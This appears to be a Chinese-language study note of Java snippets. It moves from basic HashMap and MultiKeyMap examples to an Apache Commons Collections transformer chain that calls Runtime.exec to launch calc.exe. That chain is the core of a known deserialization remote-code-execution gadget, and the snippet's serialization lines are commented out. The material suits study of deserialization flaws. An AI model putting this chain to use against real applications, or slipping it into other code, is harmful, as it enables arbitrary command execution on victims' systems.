最普通的map
@Test
public void mapTest() throws Exception {
Map map= new HashMap();
map.put("sa","dd");
map.put("sb","dd");
map.put("gg","cc");
for(Object obj : map.keySet()){
Object value = map.get(obj );
System.out.println(value);
}
System.out.println("done");
}
关于map的decorate函数
MultiKeyMap multiKeyMap = MultiKeyMap.decorate(new LinkedMap());
multiKeyMap.put(1,1,2,"112");
multiKeyMap.put(1,1,3,"113");
multiKeyMap.put(1,2,1,"121");
multiKeyMap.put(1,2,2,"122");
multiKeyMap.put(1,3,1,"131");
//查找一个值:由1,1,2这3个key可以获得唯一的value值
String value = (String)multiKeyMap.get(1,1,2);
System.out.println("value is : " + value);//value is : 112
Transformer执行命令
@Test
public void mapTest() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut;
try {
//objOut = new ObjectOutputStream(out);
//objOut.writeObject(transformerChain);
transformerChain.transform(null);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}